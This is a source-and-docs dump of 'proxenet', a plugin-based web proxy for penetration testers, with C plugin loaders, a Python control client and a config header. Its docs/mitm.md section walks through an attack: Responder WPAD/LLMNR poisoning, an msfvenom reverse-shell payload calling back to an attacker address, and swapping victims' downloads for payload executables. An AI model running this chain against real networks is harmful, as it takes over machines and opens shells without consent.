xlog_lua(LOG_DEBUG, "Plugin '%s' is already loaded. Skipping...\n", plugin->name); 38 | #endif 39 | return 0; 40 | } 41 | 42 | 43 | pathname = plugin->fullpath; 44 | 45 | lua_interpreter = (lua_State*) plugin->interpreter->vm; 46 | 47 | if (luaL_dofile(lua_interpreter, pathname)) { 48 | xlog_lua(LOG_ERROR, "Failed to load '%s'\n", pathname); 49 | return -1; 50 | } 51 | 52 | lua_getglobal(lua_interpreter, CFG_ONLOAD_PLUGIN_FUNCTION); 53 | lua_call(lua_interpreter, 0, 0); 54 | 55 | return 0; 56 | } 57 | 58 | 59 | /** 60 | * 61 | */ 62 | int proxenet_lua_initialize_vm(plugin_t* plugin) 63 | { 64 | interpreter_t* interpreter; 65 | lua_State* lua_interpreter; 66 | 67 | interpreter = plugin->interpreter; 68 | 69 | if (interpreter->ready) 70 | return 0; 71 | 72 | lua_interpreter = luaL_newstate(); 73 | luaL_openlibs(lua_interpreter); 74 | 75 | plugin->interpreter->vm = lua_interpreter; 76 | plugin->interpreter->ready = true; 77 | 78 | return 0; 79 | } 80 | 81 | 82 | /** 83 | * 84 | */ 85 | int proxenet_lua_destroy_plugin(plugin_t* plugin) 86 | { 87 | interpreter_t* interpreter; 88 | lua_State* lua_interpreter; 89 | 90 | interpreter = plugin->interpreter; 91 | lua_interpreter = (lua_State*) interpreter->vm; 92 | 93 | proxenet_plugin_set_state(plugin, INACTIVE); 94 | 95 | lua_getglobal(lua_interpreter, CFG_ONLEAVE_PLUGIN_FUNCTION); 96 | lua_call(lua_interpreter, 0, 0); 97 | 98 | plugin->pre_function = NULL; 99 | plugin->post_function = NULL; 100 | 101 | return 0; 102 | } 103 | 104 | 105 | /** 106 | * 107 | */ 108 | int proxenet_lua_destroy_vm(interpreter_t* interpreter) 109 | { 110 | lua_State* lua_interpreter; 111 | lua_interpreter = (lua_State*)interpreter->vm; 112 | 113 | lua_close(lua_interpreter); 114 | interpreter->ready = false; 115 | interpreter->vm = NULL; 116 | 117 | return 0; 118 | } 119 | 120 | 121 | /** 122 | * 123 | */ 124 | static char* proxenet_lua_execute_function(interpreter_t* interpreter, request_t *request) 125 | { 126 | const char *lRet; 127 | char *buf; 128 | lua_State* lua_interpreter; 129 | size_t len; 130 | char *uri; 131 | 132 | uri = request->http_infos.uri; 133 | if (!uri) 134 | return NULL; 135 | 136 | lua_interpreter = (lua_State*) interpreter->vm; 137 | 138 | if (request->type == REQUEST) 139 | lua_getglobal(lua_interpreter, CFG_REQUEST_PLUGIN_FUNCTION); 140 | else 141 | lua_getglobal(lua_interpreter, CFG_RESPONSE_PLUGIN_FUNCTION); 142 | 143 | lua_pushnumber(lua_interpreter, request->id); 144 | lua_pushlstring(lua_interpreter, request->data, request->size); 145 | lua_pushlstring(lua_interpreter, uri, strlen(uri)); 146 | 147 | 148 | lua_call(lua_interpreter, 3, 1); 149 | lRet = lua_tolstring(lua_interpreter, -1, &len); 150 | if (!lRet) 151 | return NULL; 152 | 153 | buf = proxenet_xstrdup(lRet, len); 154 | if (!buf) 155 | return NULL; 156 | 157 | request->size = len; 158 | return buf; 159 | } 160 | 161 | /** 162 | * 163 | */ 164 | static void proxenet_lua_lock_vm(interpreter_t *interpreter) 165 | { 166 | pthread_mutex_lock(&interpreter->mutex); 167 | } 168 | 169 | 170 | /** 171 | * 172 | */ 173 | static void proxenet_lua_unlock_vm(interpreter_t *interpreter) 174 | { 175 | pthread_mutex_unlock(&interpreter->mutex); 176 | } 177 | 178 | /** 179 | * 180 | */ 181 | char* proxenet_lua_plugin(plugin_t* plugin, request_t *request) 182 | { 183 | char* buf = NULL; 184 | interpreter_t *interpreter = plugin->interpreter; 185 | 186 | proxenet_lua_lock_vm(interpreter); 187 | buf = proxenet_lua_execute_function(interpreter, request); 188 | proxenet_lua_unlock_vm(interpreter); 189 | 190 | return buf; 191 | } 192 | 193 | #endif /* _LUA_PLUGIN */ 194 | -------------------------------------------------------------------------------- /proxenet-control-cli.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2 2 | # -*- coding: utf-8 -*- 3 | # -*- mode: python -*- 4 | 5 | import argparse, socket, datetime, os, json, rlcompleter, readline, pprint 6 | import logging, sys 7 | 8 | 9 | __author__ = "hugsy" 10 | __version__ = 0.1 11 | __licence__ = "WTFPL v.2" 12 | __file__ = "control-client.py" 13 | __desc__ = """control-client.py""" 14 | __usage__ = """%prog version {0}, {1} 15 | by {2} 16 | syntax: {3} [options] args 17 | """.format(__version__, __licence__, __author__, __file__) 18 | 19 | FORMAT = '%(asctime)-15s - %(levelname)s - %(message)s' 20 | logging.basicConfig(level=logging.INFO,format=FORMAT) 21 | 22 | # the socket path can be modified in config.h.in 23 | PROXENET_SOCKET_PATH = "/tmp/proxenet-control-socket" 24 | 25 | 26 | class ProxenetClientCompleter(object): 27 | 28 | def __init__(self, options): 29 | self.options = sorted(options) 30 | return 31 | 32 | def complete(self, text, state): 33 | response = None 34 | if state == 0: 35 | if text: 36 | self.matches = [s for s in self.options if s and s.startswith(text)] 37 | logging.debug('{:s} matches: {:s}'.format(repr(text), self.matches)) 38 | else: 39 | self.matches = self.options[:] 40 | logging.debug('(empty input) matches: {:s}'.format(self.matches)) 41 | 42 | try: 43 | response = self.matches[state] 44 | except IndexError: 45 | response = None 46 | 47 | return response 48 | 49 | 50 | def connect(sock_path): 51 | if not os.path.exists(sock_path): 52 | logging.critical("Socket does not exist.") 53 | logging.error("Is proxenet started?") 54 | return None 55 | 56 | try: 57 | sock = socket.socket( socket.AF_UNIX, socket.SOCK_STREAM ) 58 | sock.settimeout(5) 59 | sock.connect(sock_path) 60 | except socket.error as se: 61 | logging.error("Failed to connect: %s" % se) 62 | return None 63 | 64 | logging.info("Connected") 65 | return sock 66 | 67 | 68 | def recv_until(sock, pattern=">>> "): 69 | data = "" 70 | while True: 71 | data += sock.recv(1024) 72 | if data.endswith(pattern): 73 | break 74 | return data 75 | 76 | 77 | def list_commands(sock): 78 | banner = recv_until(sock) 79 | sock.send("help\n") 80 | res = recv_until(sock) 81 | data, prompt = res[:-4], res[-4:] 82 | js = json.loads( data ) 83 | cmds = js["Command list"].keys() 84 | sock.send("\n") 85 | return cmds 86 | 87 | 88 | def input_loop(cli): 89 | if not cli: 90 | return 91 | 92 | do_loop = True 93 | 94 | try: 95 | while True: 96 | if not do_loop: 97 | recv_until(cli) 98 | break 99 | 100 | res = recv_until(cli) 101 | data, prompt = res[:-4], res[-4:] 102 | try: 103 | js = json.loads( data ) 104 | print( json.dumps(js, sort_keys=True, indent=4, separators=(',', ': ')) ) 105 | except: 106 | print(data) 107 | cmd = raw_input( prompt ) 108 | cli.send(cmd.strip()+"\n") 109 | if cmd.strip() == "quit": 110 | do_loop = False 111 | 112 | except KeyboardInterrupt: 113 | logging.info("Exiting client") 114 | except EOFError: 115 | logging.info("End of stream") 116 | except Exception as e: 117 | logging.error("Unexpected exception: %s" % e) 118 | finally: 119 | cli.close() 120 | 121 | return 122 | 123 | 124 | if __name__ == "__main__": 125 | parser = argparse.ArgumentParser(usage = __usage__, 126 | description = __desc__) 127 | 128 | parser.add_argument("-v", "--verbose", default=False, 129 | action="store_true", dest="verbose", 130 | help="increments verbosity") 131 | 132 | parser.add_argument("-s", "--socket-path", default=PROXENET_SOCKET_PATH, dest="sock_path", 133 | help="path to proxenet control Unix socket") 134 | 135 | args = parser.parse_args() 136 | 137 | sock = connect(args.sock_path) 138 | if sock is None: 139 | sys.exit(1) 140 | 141 | command_list = list_commands(sock) 142 | logging.info("Loaded %d commands" % len(command_list)) 143 | readline.parse_and_bind("tab: complete") 144 | readline.set_completer(ProxenetClientCompleter(command_list).complete) 145 | input_loop(sock) 146 | sys.exit(0) 147 | -------------------------------------------------------------------------------- /docs/index.md: -------------------------------------------------------------------------------- 1 | ![logo](img/proxenet-logo.png) 2 | 3 | ## Definition 4 | 5 | From Ancient Greek, *πρόξενος* (*próksenos*, "public guest"). 6 | 7 | 1. A negotiator; a factor; a go-between. 8 | 2. A mediator involved in immoral bargains (see *pimp*). 9 | 10 | 11 | ## What is proxenet ? 12 | 13 | 14 | > `proxenet` is a **hacker** friendly proxy for web application 15 | > penetration tests. 16 | 17 | ![proxenet-webui](img/proxenet-web-interface.png) 18 | ![proxenet-tui](img/proxenet-capture1.png) 19 | 20 | Simply put, `proxenet` will allow you to make fine grain plugins to manipulate HTTP requests 21 | and/or responses in the language of your choice; that other existing tools (`Burp`, `ZAP`, 22 | etc.) can by design **never** allow you to do. 23 | 24 | `proxenet` is a multi-threaded proxy which allows you to manipulate HTTP 25 | requests and responses using your favorite scripting language. No need to learn 26 | Java (like for [Burp](http://portswigger.net/burp/extender/)), or Python (like 27 | for 28 | [mitmproxy](http://mitmproxy.org/doc/scripting/inlinescripts.html)). `proxenet` 29 | supports many languages (see the section "Language Versions") and more can 30 | be easily added. 31 | 32 | `proxenet` is **not** script kiddie friendly. While the tool can be configured 33 | to use a web interface, it is not packaged with a GUI. If this is what you are 34 | looking for, here are some script kiddie friendly alternatives: 35 | 36 | - [ZAP](http://owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project) 37 | - [Burp](http://portswigger.net/burp) 38 | - [ProxyStrike](http://www.edge-security.com/proxystrike.php) 39 | 40 | Of course, the best way is to write your own GUI as a `proxenet` plugin! 41 | 42 | 43 | ## Why ? 44 | The idea behind `proxenet` came after much frustration from attempting to write 45 | extensions for Burp. Moreover, only a few existing proxies support the 46 | possibility to add new extensions, and when they do, they typically only support one language. 47 | This is not ideal for a penetration tester, as it compromises usability despite Burp's 48 | persistent attempts to make unnatural bindings (Python over Java, or worse: Ruby over Java). 49 | 50 | `Proxenet` is written in pure C, so it is **fast**, **efficient** and easily 51 | pluggable to everything else. It is the ultimate real 52 | [DIY](https://en.wikipedia.org/wiki/Do_it_yourself) web proxy for 53 | pentesters. 54 | 55 | 56 | ## Features 57 | 58 | Here's a sample of features already supported by `proxenet`: 59 | 60 | - Written in C 61 | - Fast (heavy thread use) 62 | - Efficient (POSIX compatible) 63 | - Low memory footprint (for the core) 64 | - Can interact with any language 65 | - Provides plugins support for the following languages: 66 | - C 67 | - Python 68 | - Lua 69 | - Ruby 70 | - Perl 71 | - Tcl 72 | - Java 73 | - SSL/TLS 74 | - Full SSL/TLS interception (internal CA) 75 | - SSL/TLS client certificate authentication 76 | - IPv4/IPv6 77 | - HTTP(s)/SOCKS4(a) Proxy forwarding 78 | - White-list/Black-list host filtering 79 | - Command interface out-of-band 80 | - Nice TTY colors :D 81 | - 100% Open-Source 82 | ... and more! 83 | 84 | 85 | ## The best of both worlds ? 86 | 87 | Some people might miss the beautiful interface some other GUI-friendly proxies 88 | provide. So be it! Chain `proxenet` along with `Burp`, `Zap`, `Proxystrike`, 89 | `burst`, etc. and enjoy the show! 90 | 91 | 92 | ## Write Your Own Plugins 93 | 94 | If you've ever had the pleasure, you already know that writing extension for `Burp` 95 | is a pain, and other tools only provide plugins, and when they do, only in the language 96 | they were written in. 97 | 98 | The simple and powerful idea behind `proxenet` is to allow pentesters to 99 | **easily** interact with HTTP requests/responses in their favorite high-level language. 100 | 101 | Take a look at the [Plugins](plugin) section for a quick guide on how to start 102 | writing plugins. 103 | 104 | ## Plugin Binding Language Versions 105 | 106 | The current version of `proxenet` has been tested with: 107 | 108 | - Python 2.6+/3.x+ 109 | - Ruby 2.x 110 | - Perl 5.1+ 111 | - Lua 5.2+ 112 | - Tcl 8.5+ 113 | - Java 1.6+ 114 | 115 | 116 | ## Still not convinced? 117 | 118 | Just to keep the troll alive, have a quick look at the comparison how to create 119 | a very simple plugin using the `Burp` API, and the very same plugin using `proxenet`. 120 | To make things fair, both are written in Java. ;) 121 | 122 | ![burp-proxenet](img/fun.png) 123 | 124 | *Note*: This troll is naturally totally unbiaised of course. 125 | 126 | ## Presentation 127 | 128 | - [Ruxmon Melbourne August 2015](http://christophe.alladoum.free.fr/public/ruxmon-08-15/) 129 | 130 | ## Contributing 131 | 132 | Report crashes or improvement patches using the GitHub issues page of the 133 | project. This project follows the *beers4bugs* bounty policy. 134 | -------------------------------------------------------------------------------- /config.h.in: -------------------------------------------------------------------------------- 1 | /******************************************************************************** 2 | * 3 | * 4 | * proxenet general configuration file 5 | * 6 | * 7 | */ 8 | 9 | 10 | /******************************************************************************** 11 | * 12 | * Some configuration variables, feel free to adjust them before compiling 13 | * 14 | */ 15 | 16 | #ifdef __FREESBD__ 17 | #include 18 | #include 19 | #endif 20 | 21 | #define CFG_DEFAULT_LOCATION "@CMAKE_INSTALL_PREFIX@" 22 | #define PROXENET_HOME_DIR "~/.proxenet" 23 | 24 | #define MAX_THREADS 100 // maximum number of threads 25 | #define CFG_DEFAULT_BIND_ADDR "localhost" // default binding address 26 | #define CFG_DEFAULT_BIND_PORT "8008" // default binding port 27 | #define CFG_DEFAULT_PROXY_PORT "8080" // if relay is enabled, use this port as default 28 | #define CFG_DEFAULT_NB_THREAD 20 // default number of threads 29 | #define CFG_DEFAULT_TRY_EXIT_MAX 3 // default number for attempting to kill the process gently 30 | #define CFG_DEFAULT_PLUGIN_PRIORITY 5 // default priority for plugins 31 | #define CFG_DEFAULT_OUTPUT stdout // default output file stream 32 | #define CFG_DEFAULT_PLUGINS_PATH PROXENET_HOME_DIR"/plugins" // default location of plugins 33 | #define CFG_DEFAULT_PLUGINS_AUTOLOAD_PATHNAME "autoload" // default name of autoload dir (*Must* start with a '/') 34 | #define CFG_DEFAULT_SSL_CERTFILE PROXENET_HOME_DIR"/keys/proxenet.crt" // default path of SSL private certificate 35 | #define CFG_DEFAULT_SSL_KEYFILE PROXENET_HOME_DIR"/keys/proxenet.key" // default path of SSL private key 36 | #define CFG_DEFAULT_SSL_KEYFILE_PWD "" // default password for the SSL private key 37 | #define CFG_DEFAULT_SSL_CERTSDIR PROXENET_HOME_DIR"/keys/certs" // default path of stored certificates 38 | #define CFG_DEFAULT_SSL_CERTSKEY PROXENET_HOME_DIR"/keys/certs/generic.key" // default path of stored certificates private key 39 | #define CFG_DEFAULT_SSL_CERTSPWD "" // default password for stored certificates private key 40 | #define CFG_DEFAULT_IP_VERSION AF_INET // IP version (AF_INET for IPv6 or AF_INET6 for IPv6) 41 | #define CFG_REQUEST_PLUGIN_FUNCTION "proxenet_request_hook" // default name for hooking request function 42 | #define CFG_RESPONSE_PLUGIN_FUNCTION "proxenet_response_hook" // default name for hooking response function 43 | #define CFG_ONLOAD_PLUGIN_FUNCTION "proxenet_on_load" // default name for on-load trigger function 44 | #define CFG_ONLEAVE_PLUGIN_FUNCTION "proxenet_on_leave" // default name for on-leave trigger function 45 | #define CFG_DEFAULT_SSL_CLIENT_DOMAIN "*" // default domain to use the SSL client certificate (* means any) 46 | #define CFG_DEFAULT_INTERCEPT_PATTERN "*" // default pattern to intercept (all) 47 | #define CFG_CONTROL_SOCK_PATH "/tmp/proxenet-control-socket" 48 | 49 | 50 | /******************************************************************************** 51 | * 52 | * Those options are automatically generated by cmake. 53 | * 54 | * DO NOT MODIFY !! 55 | * 56 | */ 57 | 58 | 59 | #ifndef _GNU_SOURCE 60 | #define _GNU_SOURCE 1 61 | #endif 62 | 63 | #define PROGNAME "@PROGNAME@" 64 | #define AUTHOR "@AUTHOR@" 65 | #define LICENSE "@LICENSE@" 66 | #define CODENAME "@CODENAME@" 67 | 68 | #define VERSION_MAJOR @VERSION_MAJOR@ 69 | #define VERSION_MINOR @VERSION_MINOR@ 70 | #define VERSION_REL "@VERSION_REL@" 71 | #define VERSION "@VERSION@" 72 | 73 | #define SYSTEM "@CMAKE_SYSTEM@" 74 | #define CC "@CMAKE_C_COMPILER_ID@" 75 | 76 | 77 | #cmakedefine _MBEDTLS_VERSION_ "@MBEDTLS_VERSION@" 78 | 79 | #cmakedefine _C_PLUGIN 80 | #cmakedefine _C_VERSION_ "C" 81 | 82 | #cmakedefine _PYTHON_PLUGIN 83 | #cmakedefine _PYTHON_MAJOR_ @PYTHON_VERSION_MAJOR@ 84 | #cmakedefine _PYTHON_MINOR_ @PYTHON_VERSION_MINOR@ 85 | #cmakedefine _PYTHON_VERSION_ "Python@_PYTHON_VERSION_@" 86 | 87 | #cmakedefine _LUA_PLUGIN 88 | #cmakedefine _LUA_VERSION_ "Lua@_LUA_VERSION_@" 89 | 90 | #cmakedefine _RUBY_PLUGIN 91 | #cmakedefine _RUBY_MAJOR_ @RUBY_VERSION_MAJOR@ 92 | #cmakedefine _RUBY_MINOR_ @RUBY_VERSION_MINOR@ 93 | #cmakedefine _RUBY_VERSION_ "Ruby@_RUBY_VERSION_@" 94 | 95 | #cmakedefine _PERL_PLUGIN 96 | #cmakedefine _PERL_VERSION_ "Perl@_PERL_VERSION_@" 97 | 98 | #cmakedefine _TCL_PLUGIN 99 | #cmakedefine _TCL_VERSION_ "Tcl@_TCL_VERSION_@" 100 | 101 | #cmakedefine _JAVA_PLUGIN 102 | #cmakedefine _JAVA_MAJOR_ @Java_VERSION_MAJOR@ 103 | #cmakedefine _JAVA_MINOR_ @Java_VERSION_MINOR@ 104 | #cmakedefine _JAVA_VERSION_ "Java@_JAVA_VERSION_@" 105 | -------------------------------------------------------------------------------- /plugin-c.c: -------------------------------------------------------------------------------- 1 | #ifdef HAVE_CONFIG_H 2 | #include "config.h" 3 | #endif 4 | 5 | #ifdef _C_PLUGIN 6 | 7 | /******************************************************************************* 8 | * 9 | * C plugin 10 | * 11 | */ 12 | 13 | #include 14 | #include 15 | 16 | #ifdef __LINUX__ 17 | #include 18 | #endif 19 | 20 | #include "core.h" 21 | #include "utils.h" 22 | #include "main.h" 23 | #include "plugin.h" 24 | 25 | 26 | #define xlog_c(t, ...) xlog(t, "["_C_VERSION_"] " __VA_ARGS__) 27 | 28 | /** 29 | * 30 | */ 31 | int proxenet_c_initialize_vm(plugin_t* plugin) 32 | { 33 | void *interpreter; 34 | 35 | interpreter = dlopen(plugin->fullpath, RTLD_NOW); 36 | if (!interpreter) { 37 | xlog_c(LOG_ERROR, "Failed to dlopen('%s'): %s\n", plugin->fullpath, dlerror()); 38 | return -1; 39 | } 40 | 41 | plugin->interpreter->vm = interpreter; 42 | plugin->interpreter->ready = true; 43 | 44 | return 0; 45 | } 46 | 47 | 48 | /** 49 | * 50 | */ 51 | int proxenet_c_destroy_plugin(plugin_t* plugin) 52 | { 53 | proxenet_plugin_set_state(plugin, INACTIVE); 54 | plugin->pre_function = NULL; 55 | plugin->post_function = NULL; 56 | 57 | if (dlclose((void*)plugin->interpreter->vm) < 0) { 58 | xlog_c(LOG_ERROR, "Failed to dlclose() for '%s': %s\n", plugin->name, dlerror()); 59 | return -1; 60 | } 61 | 62 | return 0; 63 | } 64 | 65 | 66 | /** 67 | * 68 | */ 69 | int proxenet_c_destroy_vm(interpreter_t* interpreter) 70 | { 71 | interpreter->ready = false; 72 | interpreter = NULL; 73 | return 0; 74 | } 75 | 76 | 77 | /** 78 | * 79 | */ 80 | static int proxenet_c_initialize_function(plugin_t* plugin, req_t type) 81 | { 82 | void *interpreter; 83 | 84 | if (plugin->interpreter==NULL || plugin->interpreter->ready==false){ 85 | xlog_c(LOG_ERROR, "%s\n", "not ready (dlopen() failed?)"); 86 | return -1; 87 | } 88 | 89 | interpreter = (void *) plugin->interpreter->vm; 90 | 91 | /* if already initialized, return ok */ 92 | if (plugin->pre_function && type==REQUEST) 93 | return 0; 94 | 95 | if (plugin->post_function && type==RESPONSE) 96 | return 0; 97 | 98 | 99 | if (type == REQUEST) { 100 | plugin->pre_function = dlsym(interpreter, CFG_REQUEST_PLUGIN_FUNCTION); 101 | if (plugin->pre_function) { 102 | #ifdef DEBUG 103 | xlog_c(LOG_DEBUG, "'%s' request_hook function is at %p\n", 104 | plugin->name, 105 | plugin->pre_function); 106 | #endif 107 | return 0; 108 | } 109 | 110 | } else { 111 | plugin->post_function = dlsym(interpreter, CFG_RESPONSE_PLUGIN_FUNCTION); 112 | if (plugin->post_function) { 113 | #ifdef DEBUG 114 | xlog_c(LOG_DEBUG, "'%s' response_hook function is at %p\n", 115 | plugin->name, 116 | plugin->post_function); 117 | #endif 118 | return 0; 119 | } 120 | 121 | } 122 | 123 | xlog_c(LOG_ERROR, "dlsym(%s) failed for '%s': %s\n", 124 | (type==REQUEST)?"REQUEST":"RESPONSE", 125 | plugin->name, 126 | dlerror()); 127 | 128 | return -1; 129 | } 130 | 131 | 132 | /** 133 | * 134 | */ 135 | int proxenet_c_load_file(plugin_t* plugin) 136 | { 137 | if (proxenet_c_initialize_function(plugin, REQUEST) < 0) { 138 | proxenet_plugin_set_state(plugin, INACTIVE); 139 | xlog(LOG_ERROR, "Failed to init %s in %s\n", CFG_REQUEST_PLUGIN_FUNCTION, plugin->name); 140 | return -1; 141 | } 142 | 143 | if (proxenet_c_initialize_function(plugin, RESPONSE) < 0) { 144 | proxenet_plugin_set_state(plugin, INACTIVE); 145 | xlog(LOG_ERROR, "Failed to init %s in %s\n", CFG_RESPONSE_PLUGIN_FUNCTION, plugin->name); 146 | return -1; 147 | } 148 | 149 | return 0; 150 | } 151 | 152 | 153 | /** 154 | * Execute a proxenet plugin written in C. 155 | * 156 | * @note Because there is no other consistent way in C of keeping track of the 157 | * right size of the request (strlen() will break at the first NULL byte), the 158 | * signature of functions in a C plugin must include a pointer to the size which 159 | * **must** be changed by the called plugin. 160 | * Therefore the definition is 161 | * char* proxenet_request_hook(unsigned int rid, char* buf, char* uri, size_t* buflen); 162 | * 163 | * See examples/ for examples. 164 | */ 165 | char* proxenet_c_plugin(plugin_t *plugin, request_t *request) 166 | { 167 | char* (*plugin_function)(unsigned long, char*, char*, size_t*); 168 | char *bufres, *uri; 169 | size_t buflen; 170 | 171 | uri = request->http_infos.uri; 172 | if (!uri) 173 | return NULL; 174 | 175 | if (request->type == REQUEST) 176 | plugin_function = plugin->pre_function; 177 | else 178 | plugin_function = plugin->post_function; 179 | 180 | buflen = request->size; 181 | bufres = (*plugin_function)(request->id, request->data, uri, &buflen); 182 | if(!bufres){ 183 | request->size = -1; 184 | goto end_exec_c_plugin; 185 | } 186 | 187 | request->data = proxenet_xstrdup(bufres, buflen); 188 | request->size = buflen; 189 | 190 | end_exec_c_plugin: 191 | return request->data; 192 | } 193 | 194 | #endif 195 | -------------------------------------------------------------------------------- /docs/mitm.md: -------------------------------------------------------------------------------- 1 | # Proxenet-In-The-Middle attack # 2 | 3 | `proxenet` can also be used to deliver automated payloads via a 4 | Man-in-the-Middle attack. This can be done with the help of the awesome [Responder](https://github.com/SpiderLabs/Responder) tool, in two easy steps. 5 | 6 | 7 | ## Network setup ## 8 | 9 | In this example, We will target Windows hosts on the network `192.168.56.0/24`. Our evil box will be 10 | located at `192.168.56.1`. 11 | 12 | Let's do this. 13 | 14 | 15 | ## Responder setup ## 16 | 17 | We will use `Responder` to spoof NetBIOS packets and poison local network 18 | Windows workstation WPAD configuration, and redirect traffic to our evil box. The configuration is 19 | very simple, as we only need to use poisoning feature of `Responder`. 20 | 21 | **_Note_**: I used _jrmdev_ version of `Responder` because it is way cleaner 22 | that the master version from SpiderLabs, and has better support for WPAD and 23 | proxy forwarding. You can clone it from GitHub: 24 | 25 | ``` 26 | $ git clone https://github.com/jrmdev/Responder.git 27 | $ cd Responder && git checkout -b remotes/origin/responder-refactoring 28 | ``` 29 | 30 | We only want to use the LLMNR and WPAD functionalities, so we will disable all 31 | the rest. Simply set it up with the following configuration: 32 | ``` 33 | [Responder Core] 34 | SQL = Off 35 | SMB = Off 36 | Kerberos = Off 37 | FTP = Off 38 | POP = Off 39 | SMTP = Off 40 | IMAP = Off 41 | HTTP = On 42 | HTTPS = Off 43 | DNS = Off 44 | LDAP = Off 45 | Challenge = 1122334455667788 46 | Database = Responder.db 47 | SessionLog = Responder-Session.log 48 | PoisonersLog = Poisoners-Session.log 49 | AnalyzeLog = Analyzer-Session.log 50 | RespondTo = 51 | RespondToName = WPAD 52 | DontRespondTo = 53 | DontRespondToName = 54 | 55 | [HTTP Server] 56 | Serve-Always = Off 57 | Serve-Exe = Off 58 | Serve-Html = Off 59 | HtmlFilename = files/AccessDenied.html 60 | ExeFilename = files/BindShell.exe 61 | ExeDownloadName = ProxyClient.exe 62 | WPADScript = function FindProxyForURL(url, host){ return 'PROXY 192.168.56.1:8008';} ; change this address to your situation 63 | HTMLToInject =

pwn

64 | 65 | [HTTPS Server] 66 | SSLCert = certs/responder.crt 67 | SSLKey = certs/responder.key 68 | ``` 69 | 70 | And just run it to forward to our `proxenet` (which will be listening on 71 | `192.168.56.1:8008` - see proxenet setup below). 72 | ``` 73 | sudo python2 Responder.py -v -I vboxnet0 -w 74 | ``` 75 | 76 | `Responder` will now poison all the requests to our `proxenet` process. 77 | 78 | ![nbt-poison](img/nbt-poison.png) 79 | 80 | 81 | ## proxenet setup ## 82 | 83 | Create or edit the `proxenet` plugin configuration file, `$HOME/.proxenet.ini` 84 | with the following sections. 85 | ``` 86 | [oPhishPoison] 87 | ; This should point to the payload to be inserted as the HTTP response. 88 | ; For example: 89 | ; msfvenom -p windows/shell_reverse_tcp -f raw -b '\x0d\x0a\x00\xff' -o mypayload LHOST=192.168.56.1 LPORT=4444 90 | msfpayload = %(home)s/tmp/my_payload 91 | 92 | ; Point to Python binary 93 | python = /usr/bin/python2.7 94 | 95 | ; Download https://gist.github.com/hugsy/18aa43255fd4d905a379#file-xor-payload-py 96 | ; and copy its path to this configuration script. 97 | xor_payload = %(home)s/code/xor-payload/xor-payload.py 98 | 99 | ; This should point to the HTML page to inject every time a user fetches 100 | ; any HTML page 101 | html_inject_stub = %(home)s/tmp/injected_page.html 102 | ``` 103 | The `html_inject_stub` option can be used also to easily inject your BeEF hooks 104 | too. 105 | 106 | The plugin `oPhishPoison.py` (available in the `proxenet-plugins` GitHub 107 | repository) will deal with the substitution of the traffic the way you want. 108 | You can insert any Metasploit Framework payload or an HTA page. The choice is 109 | yours! 110 | 111 | Add the plugin `oPhishPoison.py` to the autoload directory of `proxenet` and 112 | start it. 113 | ``` 114 | $ ln -sf proxenet-plugins/oPhishPoison.py proxenet-plugins/autoload/oPhishPoison.py 115 | $ ./proxenet -b 192.168.56.1 -p 8008 -i -N 116 | ``` 117 | 118 | Adding the `-N` option disables the SSL interception and make it stealthier. The 119 | `-i` option forces `proxenet` to use the Internet Explorer compatibility mode. 120 | 121 | From the moment `proxenet` and `Responder` are configured and running, fake LLMNR 122 | and WPAD responses will be sent to the victims. By default, the `oPhishPoison` 123 | plugin will replace known binary content types (such as Office documents, ZIP 124 | files, RAR archives, etc.) with PE executables containing your payloads. 125 | 126 | When `Responder` poisons the LLMNR request for WPAD, it will redirect the 127 | victim to fetch the PAC configuration from itself. 128 | ![responder-wpad](img/responder-wpad.png) 129 | 130 | After that, **every** HTTP request from this victim will go through `proxenet`. 131 | You will very soon see this kind of message appearing on your screen: 132 | ![proxenet-poison](img/proxenet-poison.png) 133 | 134 | This indicates that the attack was successful. From now, just wait for the 135 | shells ☺ 136 | 137 | 138 | ## What's next? 139 | 140 | Literally, nothing! The MitM will operate in a totally transparent way, that's 141 | the beauty of it. 142 | 143 | 1. The Windows hosts of the victims will get poisoned by `Responder` to point 144 | the WPAD NetBios name to our hosts. 145 | 2. Browsers setup in "Auto-configuration" mode are vulnerable. 146 | 3. Every HTTP request will go through `proxenet` and the response will be 147 | poisoned with whatever content you setup. 148 | 4. Enjoy the free shells ! 149 | 150 | 151 | ## Live demo 152 | 153 | Click [here](https://youtu.be/eN_HwFkyYyw) for a live demo. 154 | -------------------------------------------------------------------------------- /docs/runtime.md: -------------------------------------------------------------------------------- 1 | # proxenet runtime 2 | 3 | ### Let's start 4 | 5 | Simply invoke help ! 6 | 7 | ``` 8 | $ proxenet --help 13:58 9 | proxenet v0.4-master:e3d9e27 10 | Codename: Tartiflette - 2nd fournée 11 | Written by hugsy 12 | Released under: GPLv2 13 | Using library: mbedTLS 2.4.0 14 | Compiled by Clang (Linux-4.7.0-1-amd64) with support for : 15 | [+] 0x00 C (.so) 16 | [+] 0x01 Python2.7.12 (.py) 17 | [+] 0x02 Ruby2.2.0 (.rb) 18 | [+] 0x03 Perl5.24.1 (.pl) 19 | [+] 0x04 Lua5.3.1 (.lua) 20 | [+] 0x05 Java1.8.0_91 (.class) 21 | 22 | SYNTAX: 23 | proxenet [OPTIONS+] 24 | 25 | OPTIONS: 26 | General: 27 | -h, --help Show help 28 | -V, --version Show version 29 | -d, --daemon Start as daemon 30 | -v, --verbose Increase verbosity (default: 0) 31 | -n, --no-color Disable colored output 32 | -l, --logfile=/path/to/logfile Log actions in file (default stdout) 33 | -x, --plugins=/path/to/plugins/dir Specify plugins directory (default: '~/.proxenet/plugins') 34 | Intercept mode: 35 | -I, --intercept-only Intercept only hostnames matching pattern (default mode) 36 | -E, --intercept-except Intercept everything except hostnames matching pattern 37 | -m, --pattern=PATTERN Specify a hostname matching pattern (default: '*') 38 | -N, --no-ssl-intercept Do not intercept any SSL traffic 39 | -i, --ie-compatibility Toggle old IE compatibility mode (default: on) 40 | Network: 41 | -4 IPv4 only (default) 42 | -6 IPv6 only (default: IPv4) 43 | -t, --nb-threads=N Number of threads (default: 20) 44 | -b, --bind=bindaddr Bind local address (default: 'localhost') 45 | -p, --port=N Bind local port file (default: '8008') 46 | -X, --proxy-host=proxyhost Forward to proxy 47 | -P --proxy-port=proxyport Specify port for proxy (default: '8080') 48 | -D, --use-socks The proxy to connect to is supports SOCKS4 (default: 'HTTP') 49 | SSL: 50 | -c, --certfile=/path/to/ssl.crt Specify SSL cert to use (default: '~/.proxenet/keys/proxenet.crt') 51 | -k, --keyfile=/path/to/ssl.key Specify SSL private key file to use (default: '~/.proxenet/keys/proxenet.key') 52 | --keyfile-passphrase=MyPwd Specify the password for this SSL key (default: '') 53 